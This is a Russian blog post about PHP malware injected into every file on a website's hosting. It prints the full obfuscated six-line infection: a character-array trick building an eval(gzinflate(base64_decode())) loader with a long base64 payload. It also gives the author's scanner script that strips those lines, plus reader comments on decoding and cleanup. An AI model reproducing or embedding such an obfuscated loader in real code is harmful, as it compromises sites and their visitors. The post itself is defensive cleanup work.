24

Вирус во всех PHP файлах на хостинге

Открываю я как-то свой сайт, и обращаю внимание на то, что очень долго загружается страница, кроме того некоторые картинки не отображаются…

Стал разбираться. Оказалось что во всех PHP файлах сайта дописался некий код. Занимая всего 6 строк эта зараза распространилась по всему хостингу и успела прибить несколько папок с файлами.

$md5 = "a38d0bd5fc49f80982df8aef5946e33c";
$wp_salt = array("t","s",'r',"d",')','$','c','o','6','z',"g","v","_",'i','a','e','n','4',"(",'b',";",'l',"f");
$wp_add_filter = create_function('$'.'v',$wp_salt[15].$wp_salt[11].$wp_salt[14].$wp_salt[21].$wp_salt[18].$wp_salt[10].$wp_salt[9].$wp_salt[13].$wp_salt[16].$wp_salt[22].$wp_salt[21].$wp_salt[14].$wp_salt[0].$wp_salt[15].$wp_salt[18].$wp_salt[19].$wp_salt[14].$wp_salt[1].$wp_salt[15].$wp_salt[8].$wp_salt[17].$wp_salt[12].$wp_salt[3].$wp_salt[15].$wp_salt[6].$wp_salt[7].$wp_salt[3].$wp_salt[15].$wp_salt[18].$wp_salt[5].$wp_salt[11].$wp_salt[4].$wp_salt[4].$wp_salt[4].$wp_salt[20]);
$wp_add_filter('FZdFrsXakkSH89+TG2bSVzXMzMfYKZmZ2aOvWwPY2plSRMaK8kqHf+qvnaohPcp/snQvCex/izKfi/Kf//BJIe57oPG9F0EgILMkPlro0idjYlv7Z5BmhIYQs6yD6+H79HpzARIrUKytQL8T8BYc/dAyLY45LQI5DZ6aJxwdrHQ0Jok3oxAGnQbHpcW2HqLV59nYxXDQbV5HEDEt7cFOzsLzy8HfRK5uOoN6Ul3w0fdyMzdyX79c+ba4i3f+Q+LNsAu7OWvv75f8PboIkbyAX57JySIXCs6jyBCAFeYAoIrDeGTxlUrMDNhekyHtXzVQAwj4QtQWZk2WM5UmvF8o4ADFAUs89bvte4FopXxTtm5jYdu1t+lkScKTcWKcDFNoKS6Jy3lpPwUXyX2KfvsVFanGvA+/IHg1QN7Sk8AOiphZcgKD7i2i7Q2MJTtathEYhUjEFXM+M24xKaezHotnT2EHoMneRC/3RNDYX2amcz1s2Fzme6r1Q3TfatQUmfL66iwZwg+0SogIdo2ykQ3gjVlhOsk0uxbWRfXkC1ghcJZ3EkX7M5P2st4uLHkP/IWuXJad2DS0nOBpNrNQChYLCUcLRhe/vy1lH8Z3GIejMuTEldFT7mfexBa+bK7jeA4qfUTf4npfryHVFpbRYtXci0YcKtUQAYUbHBGpqmlfLuP3DQPVXQDclwQRO7VVU6tWL5kP5FHSL5Zel4WcrNLQxr4Vcj6xOareHVEG8bJTOAXfYyKCKB7HgoBPUu2ZCbSRM9SybTeqJLANftetJhsYoOp9NV8O6ulZvxLs9n0I3o6CTCgITySpRBoYXwCEepV7+g8r1somkn0uErNlbr2bulv8aqJZRWQqU6qx1kgzRr8Udi7xO4KztCvMoxhBSiaRurZF7mPuJTW56QOe8p7dD0nQB1PZ0fOVmbXV8KyoD1PZrMdUzxzB2484FD6cpXwZXOUOsf3nyBIm7xlvHI+3o9RrXMuQl/DLus6KLvhGOURGb5smysvgUBM7m4LPdCuW6vAx6HBWL/3Fg1p9Zr2ZJEZosrUMrNpr7ZXNetMEWU0G7201u9Omz/Qxq44pMr0Qc+n0Is3tAjxER1kBikKYwWAFntwgYJcyQvHw67bix0CK5InS5W8QpHXsGPQ/GDY/LyVkKrruZALYpyETjZZjny52HTbyDipI/3ywkk0OSFbBCeOg8IYd6zvYKYAzkMl+G+9poAZdKlbIQCepo7KCUdmW+xo5IfVr5iRNcGF3NxB3VdcTn0/0gNDb5+RlXBt8h1DbLU2wBCTtYMmQeX7kKw34gGYZNyXmdPYTWTH6hlm60YJpasB1MD16Rim3PGta73tk8yFUibsYnrg+7Q5j5GPZHYuhsdcZRvIJfn6RnCT5/jlfk8Wrq2/4u8DjJQ4gC1+nt3Kx7ZmIk9uPl5BwEPB5MH7SUbyDwU2PDzo3+uEvvrOHRW2UKZtIFvufWzbcXhtd6jxWKRCuql87ZSiDkmkMgqWC/p3HiZE3PlysvRp/IleuRsjdse2CZpVGJ11MGIoxqKyPPuGC8SbjSKCHXK9068YWbQ9EctKjvGjUPwXpTtRTTefvksESdLh7Yu8lsQBHM1OAtCBFHF+hnRlB5nMgMolCS1wOPi56yi342DZvZV5j5DArv1c2dBBKgDdC8EzbDEqg+cSyjI/cL9pGS6nmdk428HFb9K2JivOXdshD24zh3698lkG3sw5PR9d0CA/LdFSGOQidARLmDUZGWcLV7cCnQMtRLr/QxnB6Zyprgt01x+ludq3y2SHNzGd4AvrlBIseuol0i824grG7xOy+2N0HYfxCJx8+QGdBIHKlfIbwyCd6dkJEp3TZvypCneb15mM7rl9gb69qsjke8h6muJMLp3AJF/v+qUypwHO93Myg++FUMZ871T6ZbRWIyP3ygXFWKGqovquZt3LtVDvS7wDWO9U8O6Z3AKAP5cuNeqEVvi5uYGGbH+zx08gLJfk7LkZi8x50S1QkanseHrqWxqHOGJFU7Qatx0TyVhzlnqPK2xX4JWTQevuFWaEXrzL462A2oTYXH3KDJuw8MQpVQzMdSs6MDviPRDj+UvqjvBT+1RTnAE6tFNt5Bx2ZF/NUfJke9+c9G8grUrk//0nuYXge9qgq8/2Md2kkHrawENL+DhjtcrYOHIn30x1WC9NGoojmzzHVBlxIdDRga8OESOtG5Deu0PErZGTB0jTHwTrk9jFUVsmnkokL1XI6Eu3O1/4E+2CV1YzByYmH7+cgoT1z3zk4hODBmoDIstLj+yhKk8RYzYdJ9ngqnyyLd3qz67r/fMKmnfv8W1GV58XlVBPTqPRpzyqARkLxuDwE7S0R3/VPFsHzzWV0e6yw5HAneRmxF+3p4KeECYNZ4w4szCZzu2hN0IW/hIweY+yjSj5o/OAu1t/gw0SVGGQuLm7/a5vBlk109PnYGBh4ru904/6iFZhWslHQS7a9zRn5424DThw3uMAztXUfFvHLcr45WuwdPYDDe4LXdirGXd5vKv2ltnXhqDtNYGEPRKKgSzMfgyWrCmdLYaQprNCSaeXeFuWT8nEsVC6QFswnelgoGtadWNb8ECJbM0vp0+ackClAxCyjpNB/+JibOPsnL9D97IYEsPmPfYl63PoC0z/reU2fhw/Yond1XpNjdmd17cCOrdOofccCrufwJgljylva9NEnnOzgWse4ASLPJuP2Ou+OIxCs/3yqfnqXQY5fCzBw2SJKfCeu1GuKC0Dmh6EdME1Ok4LVMA3E4ThBmKdNNpV7a2OiiWOx/lCQA/csGeZGwLbNH0Zefh6t5NPXQaAJKAM6bD25LsEsbR3yRyZIYMljqcJJB64GbNVPnIn8XYrhpwOjMlqzyJ0ubj6YyK4DgnmZHnnKLL50+FZrtyefEu/yGQJiziDSRXqUmerjD1b/ErgKaKO6MXP5GnVOfB98K0f45QZ6MPYME6Cfb0S+N3v4N5eDA783YEGTPTik78vU4DnwbLPP+gqkbciZnyugGGwTeH2Tz58x09az3yQVoPcfxecUIcfjiw98ETNKUfDACjNeYd75UOMURSINR4+l6VuGlvQFY3bgfdh8oDfZnz7rpHBNJprl6Watt8Qdo6eMpxrFXFdfHoUPugyaqgYMmXo+YApeBRI6NQEUaIDa1Af1VbRi781xXZdcv9txTRoGfh1oitUsUtkF8Q+YOjPXBGzwZMW6Z9XQevvxsTwziMv9jV4x99CjIdyUH42CSARwsYK8EesPxc6plN1sDrqYxaaMqvuPya1f/EbjrBvy+HF1NZwfBesw3Paebu5fE/0cSKHx56YjxTCuy/UDm7jajhvxWnHlQpy0HyiFoh4dKfNH+r+pQtZUAmgB76NrORPlWvzaS3iOBQL5wzW0Erk6ys9Wp1s+9ZpAAO5AZdcgO+oP/dqXdZIadbT8+IC1+dWLkNwf0WXUqUGSvfGotmwmd2JHT/oDhiglqzCoH7x7r+cEcZiVO63LkfeTmY+1xbtcE8I80t/cXii3GUwwuWKllNXX5psCqX4QWqlBuCx0EHFrqIW/d0cDCflDllkj855Jwgdi8uZKHdSNL8lA+1XvNm1Imb+MueQGphg8AmueuqqZFs4tf/hLDbNDXb5Sj3nfE5eN/c2izJyMhDp/BGgCmXXeVCWP5csFYU8u3yhswIr8wUkuWmMWaxymZpwnQDP5FtEsSHqkrsJla43l2gR0I19TUoXixRCzurlzDuQpJMpDH4UBuEuf82jXUiyP2xHdrIxW6wTlLS9qThuzmDXE4cfGfdJxwrSodpsAYMEMLkPLZp3C60qbWof78Z1K/fmkrsibfMl0O5hX3Nziqu4Pyl7wuM8lJ+PailAceQ5GtPc5BSLBZhhJsyUMiFnH+wNnlDLAATCbZhWGivIyYL4ZfRnCUxDRPn9bswhXWF4ZCDg61FKKK+AQhPDueHGRypA5KUJ2LHJvYo7j4lOKGeqhyNzpp7DEZXIinxoTvRVJEqr+KgYMd0P4FaASlsv5l5OVddTij6jJlvw7dD9wQJXYd7KpMqFN7lwbk10KgTVzy92JWjjRKkdmJ7p55C3fpxWwDdKSVjlDhFDBT5VSnQHrTDEXW1dMNJLfz1M36HhvdAqTT4ATnF/lqkS5uhiM+Sy8cMm/sbVtg/3jiwql/3rStJRFnY4cAIuhIdSs4EDv4mk2m8dK3IfUm5jg4mA5tfCW2CYx34s3GJQGvPPqvhJku+Gd1OnD/Us55ThqwIr+Ni2A26hfwfm7NwLByfAs21q3p+RIhOKwwHbWd9m7Ad3WBkfDyIFugZEPu95JKX3shQWYvnGEpo5weLBUi3UgLtAkNPOf32//uYNWvXwzRfIr6y6AHlBuetcKM+H4zVjMXtNDn5lIFzQFCcCzA7RmveBxUsVoS8IwUaYVFNj+bwJPsYlXXhjGBent20h8Bwk1EEoPA09sx7cTNHa4Qr/R2WLSpocxPGAKSwwHA6SXS5xfnAe0C9w2cMOaOoX8H6gVaYD2woQYWOEyL0dijRwizmkznIDv3AC58cfInueIelD4tmP2xxXXewjcjcLMAdIIoPWLBKNhH0+O5fdB2rmKlJK/73C3v7UY5Atx5ePGfZbmWkhwy7TaZWrBdsKXlbAFhjbcptE9mnaj+ozb+Wb+cir2hRTSFiBz/FgwcBgBsLQvaYJFOOuPY2q/m4IpD23vcDDQvzVwJ9Kg/pINd2y/snP1L/eLW/1u8+iiMIGC9z5VrivvWB+DpWYcEWvxXnrsp+lMrTNq/XbA7C4ntWUt9UaC1OW31FrNdn+jp4Vk2g7tYJZ9BSJLHAjunHyoWfNZoT5k/K+ip+vV2d9snRqhqk3G3/jRSwIu1JMPtMrYcpNzRGXtXVr8F/bQhMWDGb2wXdezg0u9fympQKXJT4+DJHqWqMsmhVrltkMwBJWE+PWHJqLWFjBoZ6eGM7p3WUFR6Mzk1JP/elOFKtx8OZc6mHcC0u2p3Dnz1K+xaI0OCm7HJdVNMhm5+dIqz8FQLtlhEc6HOE9ZdJIP68dJYyI4aTm9BIrN3JBIhtfljyZO8OE65x2RBVoVGq7KAKiY5zBOMsN8j8ZjGb+8Bcp0vNTAviPek9qXll6l43xEoSaeuSCennM/50Ki+YOGg0adsTFzNg4zAP8RTDLZQIavcnjGltjRUdxozJ07EQi3iE1I8AlAFUXldDj92gnrZnHMNen/qw5cnjO+NssRehdyVuY1sev45uP0VyeKEZ7fM/j7HUPoe6n68Q1PSQR934TCLkQHYDAKicQGRq/aBxQbuQch5oEbfLF6dm+aOT2T23Moe0m45o/IJVvBTkVPnhUM+Z/n1Kx/2qOlkceU8ET0N5d7LCRV2vw3XgbM3fV+kjMFXrCSSrXNn1tymMqvj74Jecb3OkREijPrr0rnWUpcOIc/EhHy21JBMOE64qQEJw2BEfkMG/o64oFVkcX9mnU54euePEftE2n3wg0igNrjkmjuInqnKD8iwan1s1wnNuwnGhh3pmFxjM+5N5VsiE7EcgLjCFzC9uBlXxcIAjRI/c9//v333//+Hw==');

Перелопатив интернет и осознав, что антивирус я не найду — сделал свой.

Все вычистил. Система работает стабильно.

Берите, кому нужен. (Под кодом есть ссылка на скачивание)

// сохраняет в файл массив
function save_array_dump($filename, $array) {
$dump = '';
foreach ($array AS $dumpa) {
$dump .= $dumpa;
}
$fp = fopen($filename, "wb+");
fwrite($fp, $dump);
fclose($fp);
}

// Сканирование директории
function scan_dir($dirname)
{
$dir = opendir($dirname);
while (($file = readdir($dir)) !== false)
{
if($file != "." && $file != "..")
{
if(is_file($dirname."/".$file))
{
$ext = explode('.',$file);
$exts = count($ext)-1;

// реагируем только на РНР файлы
if ($ext[$exts] == 'php') {
$cont = file($dirname."/".$file);

// берем значение 4-й строк (со второй по пятую) первый символ намеренно игнорируем.
$md5_string1 = $cont[1];
$md5_string2 = $cont[2];
$md5_string3 = $cont[3];
$md5_string4 = $cont[4];

$a1 = $md5_string1[1].$md5_string1[2].$md5_string1[3].$md5_string1[4].$md5_string1[5];
$a2 = $md5_string2[1].$md5_string2[2].$md5_string2[3].$md5_string2[4].$md5_string2[5];
$a3 = $md5_string3[1].$md5_string3[2].$md5_string3[3].$md5_string3[4].$md5_string3[5];
$a4 = $md5_string4[1].$md5_string4[2].$md5_string4[3].$md5_string4[4].$md5_string4[5];

//  строки для детектирования
$s1 = 'md5 =';
$s2 = 'wp_sa';
$s3 = 'wp_ad';
$s4 = 'wp_ad';

// сравнение
if (($a1 == $s1)
AND ($a2 == $s2)
AND ($a3 == $s3)
AND ($a4 == $s4)) 

{
// если таки нашли вирус
echo "
ОБНАРУЖЕН ВИРУС В ФАЙЛЕ: ".$dirname."/".$file;

//удаляем из файла (массива) первые 6 строк (элементов)
unset($cont[0]);
unset($cont[1]);
unset($cont[2]);
unset($cont[3]);
unset($cont[4]);
unset($cont[5]);

// сохраняем
save_array_dump($dirname."/".$file, $cont);

}
}
}

// если это папка - рекурсиво заходим и туда ... повторяем в ней упражнение
if(is_dir($dirname."/".$file))
{
scan_dir($dirname."/".$file);
}
}
}
closedir($dir);
}

// Изменить на Ваш путь к папке содержащей контент сайта(ов).  пример: scan_dir('/home/');
scan_dir('./');

Download: antivir-php-remover.zip

 

Метод действия: Проходит рекурсивно по всем PHP файлам и где находит зверя — убивает его.

admin

24 комментария

  1. Спасибо! С помощью вашего антивируса полечил свой блог. В коде на 17 строке устранил очепятку. Стало так: if($file != «.&&» && $file != «..»)

  2. Привет) нужна помощь как вычислить вредоносную ссылку и код,и куда установить Вашу програмку пошагово)

  3. Я чайник в таких вопросах, у меня вордпресс 3.3 , можно расписать по пунктам куда заходить и что делать? что-то я туплю в этих вопросах(

  4. то ли лыжи не едут, то ли я е*****ый
    вот я написал развертку:

    $i = 1;
    while (true) {

    if (preg_match(«/^eval\(gzinflate\(base64_decode\(‘(.*)’\)\)\);$/», $str, $m)) {
    $str = gzinflate(base64_decode($m[1]));
    } else {

    echo «Проехали: $i раз..»,
    «\n——————————————————\n»,
    «result: » , $str,
    «\n——————————————————\n»;

    break;

    }

    $i++;

    }

    вот результат:

    Проехали: 59 раз..
    ——————————————————
    result: Features and
    ——————————————————

    я выводил и проверял результат каждой итерации — ошибок нет

    Вариантов несколько:
    1) я му**к и не смог расшифровать.
    2) тут на сайте выложен не оригинальный код вируса.
    3) это не сам вирус, а тупая обманка чтобы простачки удаляли обманки, но не нашли матку.

  5. Я не про код «антивируса», я про код «вируса».
    А в аттаче только «антивирус».

  6. Я написал в этом комментарии свое реальное мыло.
    Если можно, будем на «ты».
    Давай спишемся на мыло, а там в аську или скайп.
    Ато мне тут дали ссылку на эту страницу, мол, вот такой у нас в ВП вирь (был, и руками его там удалили).
    Ну я долго не думая решил его расшифровать, и вот вышло, что ничего не вышло…

  7. Чет запустил этот антивирус на вордпрессе и открылась лишь белая страничка ( не хорошо

    А вообще употер все файлы темы вручную, удалил отовсюду этот код, но вирус все продолжает заливать на хостинг html файлы. Видать просто удалить код с пхп файлов — не выход, где-то сидит сама мамка

  8. У меня подобное, только в .js . Отсюда вопросик, можно ли применить данный антивирь к ява скриптам. Т.е. вместо // реагируем только на РНР файлы
    if ($ext[$exts] == ‘php’) {, прописать
    if ($ext[$exts] == ‘js’) {/
    Спасибо

  9. Здравствуйте, Игорь! Очень прошу вас выйти на связь со мной. На сайт goomla влез вредоносный код, найти никак не удается, т.к не разбираюсь в кодах хтмл, а удалить лишнее боюсь. Вот что у меня получилось после вот этих процедур:

    — on 29/12/2011 на 12:25 said:
    Внизу странички добавил файл
    1) Скачиваешь файл
    2) Распаковываешь этот файл в корень сайта, туда где папки wp-content / wp-admin
    3) Зайди по ссылке: http://[твой сайт]/antivir.php
    4) Жди

    Итог получился такой : —

    Warning: opendir(/home/nnpctoplus.ru/public_html) [function.opendir]: failed to open dir: No such file or directory in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 19

    Warning: readdir(): supplied argument is not a valid Directory resource in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 20

    Warning: closedir(): supplied argument is not a valid Directory resource in /home/a/arsent/nnpctoplus.ru/public_html/antivir.php on line 80

  10. Подскажите пожалуйста куда именно в joomla 2.5 вставить этот файл если можно более подробно и надо ли менять в самом скаченном файле что та

Добавить комментарий для Chipovod Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *